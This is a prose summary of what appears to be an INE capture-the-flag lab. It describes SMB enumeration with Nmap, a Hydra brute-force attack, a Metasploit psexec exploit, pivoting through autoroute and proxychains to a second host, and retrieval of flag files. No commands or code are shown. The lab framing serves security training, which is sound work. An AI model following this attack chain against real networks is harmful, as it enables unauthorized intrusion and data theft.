In this scenario, we are conducting a penetration test against two machines in a local network: demo.ine.local and demo1.ine.local. Initially, we confirm connectivity to demo.ine.local using the ping command, but demo1.ine.local is unreachable, suggesting different network configurations or firewall settings.
We begin by scanning demo.ine.local with Nmap, revealing open SMB ports (139 and 445), indicating potential vulnerabilities. Various Nmap scripts are utilized to enumerate SMB versions, security modes, and user accounts. Using Hydra, we perform a brute force attack on the SMB service with discovered usernames, aiming to gain unauthorized access.
The Metasploit framework is then employed with the psexec module, allowing us to gain a Meterpreter session on demo.ine.local. From this session, we conduct network discovery to identify demo1.ine.local's IP address. Using autoroute within Metasploit, we establish a route to the second machine, enabling communication despite initial connectivity issues.
A SOCKS proxy is set up with proxychains, allowing us to scan demo1.ine.local over the compromised network path. After migrating the Meterpreter session to explorer.exe for stability, we use Net View and Net Use commands to access shared directories on demo1.ine.local, leading to the retrieval of sensitive files like Confidential.txt and FLAG2.txt. This demonstrates how initial exploitation of one host can facilitate lateral movement and deeper access within a network, uncovering critical information.
